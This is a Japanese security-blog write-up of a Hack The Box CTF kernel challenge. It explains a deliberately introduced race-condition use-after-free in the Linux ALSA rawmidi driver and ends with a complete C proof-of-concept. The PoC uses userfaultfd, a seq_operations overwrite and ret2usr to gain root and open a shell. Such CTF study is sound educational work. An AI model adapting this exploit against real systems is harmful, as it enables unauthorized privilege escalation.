NFLabs. エンジニアブログ

セキュリティやソフトウェア開発に関する情報を発信する技術者向けのブログです。

Hack The Box Business CTF 2023 Sonic Infiltrator

こんにちは、今年の6月から入社しました研究開発部のskskです。

7月に弊社のエンジニア14名で、Hack The Box 主催の Hack The Box Business CTF 2023に出場していました。

今回のCTFは、982チーム、5118人が参加していて、開催期間は2日半と少し長めです。各問題について少し触れると、一番正答が少なかった問題は、CloudのEmitとPwnのSonic Infiltratorで6 solvesでした。2位は、PwnのPAC Breakerで8 solvesです。3位は、PwnのDevice Controlで11 solvesです。4位は、FullpwnのChaoticとCryptのVitrium Stashで12 solvesです。5位は、ForensicsのProject Redlineで13 solvesです。6位以降の問題は、20solvesぐらいから始まって幅があります。

詳細な各問題のsolves数や各チームの回答状況は、下記のリンクを参照ください。

ctf.hackthebox.com

私は、Sonic Infiltrator、Device Control、Hackbackの3題(もう1問は別の方が解きました!)を解きました。残念ながらフルタイムで参加できず、最後のPAC Breakerが「あともう一歩!」というところでPwn全完とはなりませんでした。

今回は、私が解いた問題の中からSonic InfiltratorというLinux Kernel Exploitの問題を紹介します。

Sonic Infiltrator 6 Solves

概要

Sonic Infiltratorは、LinuxにおけるKernel Exploitの問題です。本解説は、Linux Kernel Exploitの初歩から解説を行う記事ではないため、解説がいくつか省略されている部分があります。Kernel Exploitは、前提となる知識が高めなため、なじみのない方には難しく感じられるかもしれません。

問題を見ると、diffを取ったファイルが与えられています。これは、既存のKernelのコードをdiffにある通りに修正して、再度Kernelをビルドしたことが推測できます。

diff --git a/linux-5.10.185/sound/core/rawmidi.c b/linux-modified/sound/core/rawmidi.c
index 0d91143..c3f3f7e 100644
--- a/linux-5.10.185/sound/core/rawmidi.c
+++ b/linux-modified/sound/core/rawmidi.c
@@ -689,17 +689,17 @@ static int resize_runtime_buffer(struct snd_rawmidi_runtime *runtime,
 		newbuf = kvzalloc(params->buffer_size, GFP_KERNEL);
 		if (!newbuf)
 			return -ENOMEM;
-		spin_lock_irq(&runtime->lock);
-		if (runtime->buffer_ref) {
-			spin_unlock_irq(&runtime->lock);
-			kvfree(newbuf);
-			return -EBUSY;
-		}
+		// spin_lock_irq(&runtime->lock);
+		// if (runtime->buffer_ref) {
+		// 	spin_unlock_irq(&runtime->lock);
+		// 	kvfree(newbuf);
+		// 	return -EBUSY;
+		// }
 		oldbuf = runtime->buffer;
 		runtime->buffer = newbuf;
 		runtime->buffer_size = params->buffer_size;
 		__reset_runtime_ptrs(runtime, is_input);
-		spin_unlock_irq(&runtime->lock);
+		// spin_unlock_irq(&runtime->lock);
 		kvfree(oldbuf);
 	}
 	runtime->avail_min = params->avail_min;

緩和機構等は、QEMUの起動スクリプトであるrun.shから以下の表の通りです。見ての通り、Kernel Exploitで障壁となる緩和機構がすべて切られています。この他、Kernel Configの設定にも緩和機構は左右されます(CONFIG_SLAB_FREELIST_HARDENED等)が、これは適宜説明をします。また今回のスラブアロケータは、CONFIG_SLUB=yから標準的なスラブアロケータであるSLUBが利用されていることがわかります。

項目 内容
KASLR NO
SMEP NO
SMAP NO
KPTI NO

デバイスドライバとの対話

今回の問題は、linux-5.10.185におけるALSAと呼ばれるLinux Kernelのサウンド処理基盤に存在するRaw MIDIの処理が書かれたKernel Driverであるsound/core/rawmidi.cがテーマとなります。

elixir.bootlin.com


今回のターゲットとなるデバイスファイルは、/dev/snd/以下に存在します。確認を行うとmidiC#D#という形式のデバイスファイルが存在します。今回は、これらのファイルをopen()して、read()やwrite()をすると、Kernel内では、先に紹介したrawmidi.cの処理へと遷移します。

gfd = open("/dev/snd/midiC0D0", O_RDWR)

また、問題ファイルに存在するinitファイルには、次のようなコマンドが存在します。

chmod g+rw /dev/snd/*

このため、/dev/snd/*以下のデバイスファイルに対しては、読み書きが自由に行えることになります。

バグはどこに?

バグはどこにあるんでしょうか?

static int resize_runtime_buffer(struct snd_rawmidi_runtime *runtime,
 		newbuf = kvzalloc(params->buffer_size, GFP_KERNEL);
 		if (!newbuf)
 			return -ENOMEM;
-		spin_lock_irq(&runtime->lock);
-		if (runtime->buffer_ref) {
-			spin_unlock_irq(&runtime->lock);
-			kvfree(newbuf);
-			return -EBUSY;
-		}
+		// spin_lock_irq(&runtime->lock);
+		// if (runtime->buffer_ref) {
+		// 	spin_unlock_irq(&runtime->lock);
+		// 	kvfree(newbuf);
+		// 	return -EBUSY;
+		// }
 		oldbuf = runtime->buffer;
 		runtime->buffer = newbuf;
 		runtime->buffer_size = params->buffer_size;
 		__reset_runtime_ptrs(runtime, is_input);
-		spin_unlock_irq(&runtime->lock);
+		// spin_unlock_irq(&runtime->lock);
 		kvfree(oldbuf);
 	}
 	runtime->avail_min = params->avail_min;

問題なのは、次の部分がコメントアウトされていることです。

spin_lock_irq(&runtime->lock);
if (runtime->buffer_ref)
(...snip...)
spin_unlock_irq(&runtime->lock);

spin_lock/unlock_irq()は、スピンロックと呼ばれる排他制御の実装の一種の中で、実際にロックをかける(取得する)部分の処理です。スピンロックがかけられるとロックを持っているスレッドがロックを解除しない限り、他のスレッドは、それ以降の処理(クリティカルセクション)には進めないため、他のスレッドによるデータの汚染が発生しません。

今回は、そのスピンロックが効いていません。さらに問題なのは、if (runtime->buffer_ref)の部分がコメントアウトされていることにより、古いruntime->bufferは、状況によってはkfree()されてしまいます。runtime->buffer_refは、runtime->bufferの参照状態を管理します。runtime->bufferは、以下の関数によって制御されていますが、これらの関数は、runtime->bufferに読み書きを行う前後のタイミングで呼ばれています。これにより、runtime->buffer_refが1以上なら、そのruntime->bufferがいずれかの処理によって参照されている状態を示します。

static inline void snd_rawmidi_buffer_ref(struct snd_rawmidi_runtime *runtime)
{
	runtime->buffer_ref++;
}

static inline void snd_rawmidi_buffer_unref(struct snd_rawmidi_runtime *runtime)
{
	runtime->buffer_ref--;
}

例えば、スレッドAが書き込みを行うと、その手前の処理でruntime->buffer_refはインクリメントされ、書き込みが終わると参照が終了したことを示すため、runtime->buffer_refをデクリメントします。このように、runtime->bufferがいずれかの処理に使用されているかがわかるようになり、いずれかの処理によって使用されていれば、kfree()がされないようになっています。これは、コメントアウトされている以下の処理によって達成されています。

if (runtime->buffer_ref) {
 	spin_unlock_irq(&runtime->lock);
 	kvfree(newbuf);
 	return -EBUSY;
 }

ここで、この部分がコメントアウトされている場合に話を戻します。あるスレッドAでは、処理の後方でruntime->bufferを参照する処理をしていて、今はまだその部分に到達していないとしましょう。さらにこの後、スレッドBからresize_runtime_buffer()が呼ばれて、スレッドAに処理が戻ったとします。すると、本来ならif (runtime->buffer_ref)において、runtime->buffer_refは0ではないので、処理は先に進まず-EBUSYを返します。ところが、今回はその部分がないので、スレッドAのruntime->bufferは、old bufferとして既にスレッドBからresize_runtime_buffer()の中でkfree()されてしまっています。スレッドAに処理が戻ると、スレッドAは、いまだにkfree()されたruntime->buffer(old buffer)を持っています。スレッドAのこの後の処理に、runtime->buffer(old buffer)に書き込む処理や読み込む処理があったら・・・?まさしくそれがUse After Free(UAF)となります。

エクスプロイトの作成

戦略

さて、 resize_runtime_buffer()を使って、UAFを引き起こせそうなことがわかりました。今回は、Race Conditionによって発生するUAFですが、うまいことスレッドAが書き込みや読み込みをする手前のタイミングで、スレッドBに切り替えてスレッドAのBufferをkfree()する必要があります。

本来は、そのRaceを調整する方法を見つけ出して、RaceによってUAFが発生したことを判定するコードを書く必要がありますが、筆者は短時間でそれを思いつくことはできませんでした。一方で、今回の問題は難易度がMediumなことに注目します。Raceを調整する方法まで考えるとなると、Mediumでは収まりがつかないと直感的に感じたこともありますが、Linux Kernel ExploitのRace Conditionでは、いくつか安定してRaceを調整する方法があります。

その中の調整法で有名なものが、userfaultfdシステムコールを利用したRaceの調整法です。今回は、CONFIG_USERFAULTFD=yになっていて、/proc/sys/vm/unprivileged_userfaultfdが1なので、この強力なシステムコールを利用して確実にRaceを調整します。

userfaultfdシステムコールは、簡単に言えば、特定のページを渡して、そのページでページフォルトが発生した時の処理を担うユーザ空間のハンドラを登録できるというものです。登録したページAでページフォルトが発生すると、登録したハンドラによって、ハンドラ内に記述されている処理がユーザ空間で実行されます。

ところで、ユーザ空間との入出力を行うとき、copy_from_user()やcopy_to_user()といった関数を利用します。よって、この関数にページフォルトが発生するページを渡すと、その時点でuserfaultfdで登録したユーザ空間のハンドラに処理が移ります。ページフォルトが発生するようなページは、次のようにmmap()から確保します。

  page = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

このページにアクセスを行うとページフォルトが発生し、userfaultfdで登録したユーザ空間のハンドラに処理が遷移します。そのため、このページをuserfaultfdで登録してあげて、そのページをデバイスドライバに渡してあげれば、Kernel側でそのページにアクセスするcopy_from_user()やcopy_to_user()した時のタイミングで必ず登録したハンドラに処理が戻ります。

ハンドラで返すデータが確定しない限りは、copy_from_user()やcopy_to_user()に処理は戻らないので、このハンドラの中で先ほどのresize_runtime_buffer()をしてやれば、copy_from_user()やcopy_to_user()の後に利用されるであろうKernel側のバッファであるruntime->bufferはkfree()されます。その後、ハンドラでデータを返し、copy_from_user()やcopy_to_user()の処理が実行されると、すでにruntime->bufferはkfree()されているので、UAFとなります。

まとめると、次のようなコードを実装します。

(1) 初回アクセス時にページフォルトが発生するようにmmapでページを確保

(2) mmap()で確保したページとハンドラをuserfaultfdから登録
→このとき、登録するハンドラの中では、UAFが起きるように、resize_runtime_buffer()を呼び出して、runtime->bufferをkfree()するようにします。

(3) write()でデバイスファイルに書き込み
→このとき、userfaultfdシステムコールから登録したページを渡します。

  page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);  // (1)
  register_uffd(page, 0x1000, 0);  // (2)
  
  gfd = open("/dev/snd/midiC0D0", O_RDWR);
  
(....snip...)

  write(gfd, page, 60); // (3)

手順(3)に到達すると、続いて次のように処理が遷移します。なお、何故ここでwrite()を使用しているかは後述します。

(A) Kernelでは、mmapから確保したページに対してcopy_from_user()やcopy_to_user()を実行

(B) ページフォルトが発生し、登録したハンドラに処理が遷移

(C) 登録したハンドラの中では、resize_runtime_buffer()を呼び出し、runtime->bufferをkfree()してハンドラを終了

この結果、copy_from_user()やcopy_to_user()の処理が再開されますが、すでにruntime->bufferはkfree()されているので、この後にruntime->bufferの利用があるとUAFが起きます。

どのように"runtime->buffer"に書き込む ?

UAFを起こす手順までは整理ができました。次に考えるべきことは、UAFをどのように利用するかということです。今回は、UAFから特定のオブジェクトにあるポインタ等を汚染して制御を奪うことを狙います。よって、runtime->bufferに対して読み込みではなく書き込みを行うことを考えます。

これは具体的に言えば、「copy_from_user()をして、そこからruntime->bufferに書き込みを行うような場所はどこか?」を考えるということです。copy_from_user()はユーザ空間からデータを受け取るときに利用される関数なので、write()を行ったときの処理の中で呼び出しがありそうです。

デバイスファイルに対してwrite()をした時にどのような処理が発生するかについては、snd_rawmidi_f_opsを参照すればわかります。file_operations構造体は、ファイルに対してopen()やread()操作が行われた時の対応する処理を管理する構造体です。

static const struct file_operations snd_rawmidi_f_ops = {
	.owner =	THIS_MODULE,
	.read =		snd_rawmidi_read,
	.write =	snd_rawmidi_write,
	.open =		snd_rawmidi_open,
	.release =	snd_rawmidi_release,
	.llseek =	no_llseek,
	.poll =		snd_rawmidi_poll,
	.unlocked_ioctl =	snd_rawmidi_ioctl,
	.compat_ioctl =	snd_rawmidi_ioctl_compat,
};

このことから今回は、write()に対応している処理であるsnd_rawmidi_write()が、write()したときに呼ばれるKernel 内部の処理となります。

static ssize_t snd_rawmidi_write(struct file *file, const char __user *buf,
				 size_t count, loff_t *offset)
{
	long result, timeout;
	int count1;
	struct snd_rawmidi_file *rfile;
	struct snd_rawmidi_runtime *runtime;
	struct snd_rawmidi_substream *substream;

	rfile = file->private_data;
	substream = rfile->output;
	runtime = substream->runtime;
	/* we cannot put an atomic message to our buffer */
	if (substream->append && count > runtime->buffer_size)
		return -EIO;
	result = 0;
	while (count > 0) {
		spin_lock_irq(&runtime->lock);
		while (!snd_rawmidi_ready_append(substream, count)) {
			wait_queue_entry_t wait;

			if (file->f_flags & O_NONBLOCK) {
				spin_unlock_irq(&runtime->lock);
				return result > 0 ? result : -EAGAIN;
			}
			init_waitqueue_entry(&wait, current);
			add_wait_queue(&runtime->sleep, &wait);
			set_current_state(TASK_INTERRUPTIBLE);
			spin_unlock_irq(&runtime->lock);
			timeout = schedule_timeout(30 * HZ);
			remove_wait_queue(&runtime->sleep, &wait);
			if (rfile->rmidi->card->shutdown)
				return -ENODEV;
			if (signal_pending(current))
				return result > 0 ? result : -ERESTARTSYS;
			spin_lock_irq(&runtime->lock);
			if (!runtime->avail && !timeout) {
				spin_unlock_irq(&runtime->lock);
				return result > 0 ? result : -EIO;
			}
		}
		spin_unlock_irq(&runtime->lock);
		count1 = snd_rawmidi_kernel_write1(substream, buf, NULL, count);
		if (count1 < 0)
			return result > 0 ? result : count1;
		result += count1;
		buf += count1;
		if ((size_t)count1 < count && (file->f_flags & O_NONBLOCK))
			break;
		count -= count1;
	}
	if (file->f_flags & O_DSYNC) {
		spin_lock_irq(&runtime->lock);
		while (runtime->avail != runtime->buffer_size) {
			wait_queue_entry_t wait;
			unsigned int last_avail = runtime->avail;

			init_waitqueue_entry(&wait, current);
			add_wait_queue(&runtime->sleep, &wait);
			set_current_state(TASK_INTERRUPTIBLE);
			spin_unlock_irq(&runtime->lock);
			timeout = schedule_timeout(30 * HZ);
			remove_wait_queue(&runtime->sleep, &wait);
			if (signal_pending(current))
				return result > 0 ? result : -ERESTARTSYS;
			if (runtime->avail == last_avail && !timeout)
				return result > 0 ? result : -EIO;
			spin_lock_irq(&runtime->lock);
		}
		spin_unlock_irq(&runtime->lock);
	}
	return result;
}

snd_rawmidi_write()の処理を追っていくと、snd_rawmidi_kernel_write1()という関数が呼ばれることがわかります。

count1 = snd_rawmidi_kernel_write1(substream, buf, NULL, count);
static long snd_rawmidi_kernel_write1(struct snd_rawmidi_substream *substream,
				      const unsigned char __user *userbuf,
				      const unsigned char *kernelbuf,
				      long count)
{
	unsigned long flags;
	long count1, result;
	struct snd_rawmidi_runtime *runtime = substream->runtime;
	unsigned long appl_ptr;

	if (!kernelbuf && !userbuf)
		return -EINVAL;
	if (snd_BUG_ON(!runtime->buffer))
		return -EINVAL;

	result = 0;
	spin_lock_irqsave(&runtime->lock, flags);
	if (substream->append) {
		if ((long)runtime->avail < count) {
			spin_unlock_irqrestore(&runtime->lock, flags);
			return -EAGAIN;
		}
	}
	snd_rawmidi_buffer_ref(runtime);
	while (count > 0 && runtime->avail > 0) {
		count1 = runtime->buffer_size - runtime->appl_ptr;
		if (count1 > count)
			count1 = count;
		if (count1 > (long)runtime->avail)
			count1 = runtime->avail;

		/* update runtime->appl_ptr before unlocking for userbuf */
		appl_ptr = runtime->appl_ptr;
		runtime->appl_ptr += count1;
		runtime->appl_ptr %= runtime->buffer_size;
		runtime->avail -= count1;

		if (kernelbuf)
			memcpy(runtime->buffer + appl_ptr,
			       kernelbuf + result, count1);
		else if (userbuf) {
			spin_unlock_irqrestore(&runtime->lock, flags);
			if (copy_from_user(runtime->buffer + appl_ptr,
					   userbuf + result, count1)) {
				spin_lock_irqsave(&runtime->lock, flags);
				result = result > 0 ? result : -EFAULT;
				goto __end;
			}
			spin_lock_irqsave(&runtime->lock, flags);
		}
		result += count1;
		count -= count1;
	}
      __end:
	count1 = runtime->avail < runtime->buffer_size;
	snd_rawmidi_buffer_unref(runtime);
	spin_unlock_irqrestore(&runtime->lock, flags);
	if (count1)
		snd_rawmidi_output_trigger(substream, 1);
	return result;
}

さらに、snd_rawmidi_kernel_write1()の処理を追っていくと、以下の部分でcopy_from_user()を呼んでいることがわかります。

spin_unlock_irqrestore(&runtime->lock, flags);
	if (copy_from_user(runtime->buffer + appl_ptr,
		userbuf + result, count1)) {
		spin_lock_irqsave(&runtime->lock, flags);
		result = result > 0 ? result : -EFAULT;
		goto __end;
	}
spin_lock_irqsave(&runtime->lock, flags);

うれしいことに、copy_from_user()から直接runtime->bufferに書き込みを行っています。すなわち、write()の際に、ページフォルトが発生するページを渡してあげれば、copy_from_user()に制御が戻った瞬間にUAFとしてruntime->bufferに書き込みが行われます。

seq_operations

UAFを発生させ、UAFからruntime->bufferに書き込むところまでを見てきました。次は、UAFからどのような書き込みを行うかを見ていきます。

runtime->bufferは、kmalloc()からアロケートされているので、kmalloc-nというスラブキャッシュで管理がされます。kmalloc()で要求されるサイズごとにいくつかのスラブキャッシュが用意されていて、runtime->bufferも対応するkmalloc-nで管理されています。runtime->bufferは、デフォルトでは、4096の大きさを持っているので、kmalloc-4096というスラブキャッシュで管理がされます。一方で、このサイズは、実はresize_runtime_buffer()の処理を通して変更することができます。

static int resize_runtime_buffer(struct snd_rawmidi_runtime *runtime,
 		newbuf = kvzalloc(params->buffer_size, GFP_KERNEL);
 		if (!newbuf)
 			return -ENOMEM;
-		spin_lock_irq(&runtime->lock);
-		if (runtime->buffer_ref) {
-			spin_unlock_irq(&runtime->lock);
-			kvfree(newbuf);
-			return -EBUSY;
-		}
+		// spin_lock_irq(&runtime->lock);
+		// if (runtime->buffer_ref) {
+		// 	spin_unlock_irq(&runtime->lock);
+		// 	kvfree(newbuf);
+		// 	return -EBUSY;
+		// }
 		oldbuf = runtime->buffer;
 		runtime->buffer = newbuf;
 		runtime->buffer_size = params->buffer_size;
 		__reset_runtime_ptrs(runtime, is_input);
-		spin_unlock_irq(&runtime->lock);
+		// spin_unlock_irq(&runtime->lock);
 		kvfree(oldbuf);
 	}
 	runtime->avail_min = params->avail_min;

newbuf = kvzalloc(params->buffer_size, GFP_KERNEL)において、新たなオブジェクトが確保されていますが、この時のparam->buffer_sizeはユーザ側で制御可能です。このような動作を想定していることは、関数の名前からもわかりますね。

そのため、何らかの関数ポインタを保持する構造体のサイズにresize_runtime_buffer()であらかじめ変更しておき、変更後にUAFを起こせば、そのオブジェクトへUAFによる書き込みが行えます。何らかの関数ポインタを保持する構造体とありますが、これも典型的なKernel Exploitで利用される構造体があります。それがseq_operations構造体です。

この構造体は32バイトなので、kmalloc-32で管理がされます。よって、resize_runtime_buffer()でruntime->bufferのサイズを32バイトに変更して、userfaultfdで登録したハンドラからkfree()した後に、seq_operationsを確保する操作をしてハンドラを終了して、UAFでいずれかの関数ポインタを書き換えれば、あとはその関数ポインタをトリガーするだけで、命令を制御できます!

resize_runtime_buffer()

seq_operationのサイズにruntime->bufferの大きさを変えられ、そこからUAFで制御フローを乗っ取れることがわかりました。では、resize_runtime_buffer()は、どこから呼び出すのでしょうか?これは、snd_rawmidi_ioctl→snd_rawmidi_output_paramsから呼び出されることがわかります。

static const struct file_operations snd_rawmidi_f_ops = {
	.owner =	THIS_MODULE,
	.read =		snd_rawmidi_read,
	.write =	snd_rawmidi_write,
	.open =		snd_rawmidi_open,
	.release =	snd_rawmidi_release,
	.llseek =	no_llseek,
	.poll =		snd_rawmidi_poll,
	.unlocked_ioctl =	snd_rawmidi_ioctl,
	.compat_ioctl =	snd_rawmidi_ioctl_compat,
};

static long snd_rawmidi_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
...(snip)...
	case SNDRV_RAWMIDI_IOCTL_PARAMS:
	{
		struct snd_rawmidi_params params;

		if (copy_from_user(&params, argp, sizeof(struct snd_rawmidi_params)))
			return -EFAULT;
		switch (params.stream) {
		case SNDRV_RAWMIDI_STREAM_OUTPUT:
			if (rfile->output == NULL)
				return -EINVAL;
			return snd_rawmidi_output_params(rfile->output, &params);
		case SNDRV_RAWMIDI_STREAM_INPUT:
			if (rfile->input == NULL)
				return -EINVAL;
			return snd_rawmidi_input_params(rfile->input, &params);
		default:
			return -EINVAL;
		}
	}
...(snip)...
}

int snd_rawmidi_output_params(struct snd_rawmidi_substream *substream, struct snd_rawmidi_params *params)
{
	if (substream->append && substream->use_count > 1)
		return -EBUSY;
	snd_rawmidi_drain_output(substream);
	substream->active_sensing = !params->no_active_sensing;
	return resize_runtime_buffer(substream->runtime, params, false);
}

SNDRV_RAWMIDI_IOCTL_PARAMSでは、snd_rawmidi_params構造体にパラメータを含めて、処理の流れを制御しています。

struct snd_rawmidi_params {
	int stream;
	size_t buffer_size;		/* queue size in bytes */
	size_t avail_min;		/* minimum avail bytes for wakeup */
	unsigned int no_active_sensing: 1; /* do not send active sensing byte in close() */
	unsigned char reserved[16];	/* reserved for future use */
};

このうち今回の悪用に関係するパラメータは、stream、buffer_size,、avail_minの3つです。よって、次のような操作をします。

  struct snd_rawmidi_params params = {0};
  params.stream = SNDRV_RAWMIDI_STREAM_OUTPUT;
  params.buffer_size = 0x20;
  params.avail_min = 10;
  
  ioctl(gfd, SNDRV_RAWMIDI_IOCTL_PARAMS, &params);

これにより、runtime->bufferの大きさが0x20に変更されて、晴れてkmalloc-32から確保されるようになります!

組み上げる

さて、これで権限昇格について必要な情報はすべて揃いました。RIPの制御を取った後は、まともな緩和機構がないため、ret2usr等をするだけです。ここについては、特に解説しませんが、今回のコードは以下のサイトを参考にしています。

pawnyable.cafe

また、現実の世界では、KASLR等はすべてオンとなっています。その場合には、KROPを組んで必要な一連の処理をする必要があります。通常は、攻撃者がKernel空間に用意したROP ChainにPivotしたりする必要があり、それはROP Chainを記録している特定のアドレスをリークする必要があることを意味します。msg_msg構造体の悪用といったまた別の作業が必要になりますが、興味のある方は以下のページのWriteupを参照しましょう。

syst3mfailure.io

終わりに

今回は、Linux Kernel におけるRace Conditionによって発生するUAFがテーマでした。userfaultfdを使った問題は過去にいくつか見てきましたが、今回の問題は特に緩和機構が有効化されていなかったため、SolvesがCTF全体で一番少なかったのは、個人的には意外でした。最近は低レイヤのことを触れているので、たまたま自分のアンテナと距離が近かったこともあるかもしれないですが、今回のCTFで一番最初に解いた問題はこちらの問題でした。来年また同じCTFが開催されると思うので、その時は全完を狙えるように精進します!

PoC

#define _GNU_SOURCE
#include <assert.h>
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <signal.h>
#include <stdio.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sound/asound.h>

cpu_set_t pwn_cpu;
int gfd;
void* page;
int seq_fd[0x100];
unsigned long user_cs, user_ss, user_rflags, user_sp;
int register_uffd(void *addr, size_t len, int n);

unsigned long prepare_kernel_cred = 0xffffffff8108ec00;
unsigned long commit_creds = 0xffffffff8108e9c0;

void win() {
  char *argv[] = { "/bin/sh", NULL };
  char *envp[] = { NULL };
  execve("/bin/sh", argv, envp);
}

static void save_state() {
  asm(
      "movq %%cs, %0\n"
      "movq %%ss, %1\n"
      "movq %%rsp, %2\n"
      "pushfq\n"
      "popq %3\n"
      : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags)
      :
      : "memory");
}

static void restore_state() {
  asm volatile("swapgs ;"
               "movq %0, 0x20(%%rsp)\t\n"
               "movq %1, 0x18(%%rsp)\t\n"
               "movq %2, 0x10(%%rsp)\t\n"
               "movq %3, 0x08(%%rsp)\t\n"
               "movq %4, 0x00(%%rsp)\t\n"
               "iretq"
               :
               : "r"(user_ss),
                 "r"(user_sp),
                 "r"(user_rflags),
                 "r"(user_cs), "r"(win));
}

static void escalate_privilege() {
  char* (*pkc)(int) = (void*)(prepare_kernel_cred);
  void (*cc)(char*) = (void*)(commit_creds);
  (*cc)((*pkc)(0));
  restore_state();
}

void fatal(char *msg) {
  perror(msg);
  exit(1);
}

static void fault_handler_thread(void *arg) {
  
  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;
  long uffd;
  int statfd;

  uffd = (long)arg;
  pollfd.fd = uffd;
  pollfd.events = POLLIN;

  while (poll(&pollfd, 1, -1) > 0) {
    if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
    fatal("poll");

    if (read(uffd, &msg, sizeof(msg)) <= 0) fatal("read(uffd)");
    assert (msg.event == UFFD_EVENT_PAGEFAULT);

    struct snd_rawmidi_params params = {0};
    params.stream = SNDRV_RAWMIDI_STREAM_OUTPUT;
    params.buffer_size = 0x100;
    params.avail_min = 10;
    ioctl(gfd, SNDRV_RAWMIDI_IOCTL_PARAMS, &params);

    for(int i=0; i < 0x100; i++){
      seq_fd[i] = open("/proc/self/stat", O_RDONLY);
    }
    char* buf = "\xfa\x11\x40\x0\x0\x0\x0\x0";
    copy.src = (unsigned long)buf;
    copy.dst = (unsigned long)msg.arg.pagefault.address;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    
    if (ioctl(uffd, UFFDIO_COPY, &copy) == -1) fatal("ioctl(UFFDIO_COPY)");
  }
}

int register_uffd(void *addr, size_t len, int n) {
  struct uffdio_api uffdio_api;
  struct uffdio_register uffdio_register;
  long uffd;
  pthread_t th;

  uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);

  uffdio_api.api = UFFD_API;
  uffdio_api.features = 0;
  if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
    fatal("ioctl(UFFDIO_API)");

  uffdio_register.range.start = (unsigned long)addr;
  uffdio_register.range.len = len;
  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
  if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
    fatal("UFFDIO_REGISTER");

  if(n == 0){
    if (pthread_create(&th, NULL, fault_handler_thread, (void*)uffd))
    fatal("pthread_create");
  }

  return 0;
}

int main() {
  
  char buf[0x100];
  CPU_ZERO(&pwn_cpu);
  CPU_SET(0, &pwn_cpu);
  
  if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))
  fatal("sched_setaffinity");

  save_state();

  page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  register_uffd(page, 0x1000, 0);
  
  gfd = open("/dev/snd/midiC0D0", O_RDWR);
  
  struct snd_rawmidi_params params = {0};
  params.stream = SNDRV_RAWMIDI_STREAM_OUTPUT;
  params.buffer_size = 0x20;
  params.avail_min = 10;
  
  ioctl(gfd, SNDRV_RAWMIDI_IOCTL_PARAMS, &params);

  write(gfd, page, 60);

  for(int i=0; i < 0x100; i++){

    read(seq_fd[i], buf, 1);

  }
  
  close(gfd);
  
  return 0;
}